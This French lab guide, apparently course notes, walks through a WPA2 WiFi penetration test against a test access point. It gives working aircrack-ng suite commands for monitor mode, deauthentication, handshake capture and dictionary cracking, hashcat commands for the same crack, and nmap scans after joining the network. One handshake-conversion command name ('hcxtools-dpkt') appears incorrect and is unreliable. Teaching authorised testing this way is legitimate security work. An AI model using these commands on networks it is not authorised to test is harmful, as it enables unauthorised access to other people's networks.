# Etudier les aspects techniques et mettre en oeuvre des tests de pénétration (SSID + mot de passe) sur le réseau Wifi.

## Prérequis

Avant de commencer, vérifier que la carte WiFi supporte le **mode moniteur :**

```
# Identifier la carte WiFi
iwconfig
airmon-ng check kill          # Stopper les processus conflictuels
airmon-ng start wlan0         # Activer le mode moniteur → wlan0mon
```

## Phase 1 & 2 — Reconnaissance et scan

```
# Lister tous les réseaux à portée
airodump-ng wlan0mon

# Cibler la borne de test une fois le BSSID repéré
# (remplacer XX:XX:XX:XX:XX:XX et le canal réel)
airodump-ng -c <canal> --bssid XX:XX:XX:XX:XX:XX -w /root/capture/irs-si wlan0mon
```

Ce que l'on collecte : BSSID, ESSID (SSID), canal, type de chiffrement (WPA2/WPA3), RSSI, liste des clients connectés.

# Phase 3 — Capture du handshake WPA2

Le handshake 4-way s'échange lors de l'association client/AP. On force une reconnexion par déauthentification :

```
# Dans un second terminal (laisser airodump-ng tourner)
# -0 : nb de paquets deauth, -a : BSSID AP, -c : MAC client (optionnel)
aireplay-ng -0 5 -a XX:XX:XX:XX:XX:XX -c YY:YY:YY:YY:YY:YY wlan0mon
```

Airodump-ng affiche `WPA handshake: XX:XX:XX...` en haut à droite quand c'est capturé. Le fichier `.cap` est écrit dans `/root/capture/`.

---

# Phase 4 — Craquage du mot de passe

## Avec aircrack-ng (dictionnaire)

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt \
            -b XX:XX:XX:XX:XX:XX /root/capture/irs-si-01.cap
```

## Avec hashcat (GPU, plus rapide)

```
# Convertir le .cap en format hc22000
hcxtools-dpkt -o /root/capture/irs-si.hc22000 /root/capture/irs-si-01.cap
# ou :
cap2hccapx /root/capture/irs-si-01.cap /root/capture/irs-si.hccapx

# Attaque dictionnaire
hashcat -m 22000 /root/capture/irs-si.hc22000 \
        /usr/share/wordlists/rockyou.txt

# Attaque par règles (variantes communes)
hashcat -m 22000 /root/capture/irs-si.hc22000 \
        /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

---

# Phase 5 — Post-exploitation

Une fois le mot de passe obtenu :

```
# Reconnecter Kali sur le réseau WiFi de test
nmcli dev wifi connect "<SSID>" password "<motdepasse>" ifname wlan0

# Scan du réseau interne (VLAN 40)
nmap -sV -O 192.168.10.192/27

# Identifier hôtes actifs
nmap -sn 192.168.10.192/27
```

---

Revision #1
Created 21 May 2026 06:54:36 by Raphaël
Updated 21 May 2026 06:55:59 by Raphaël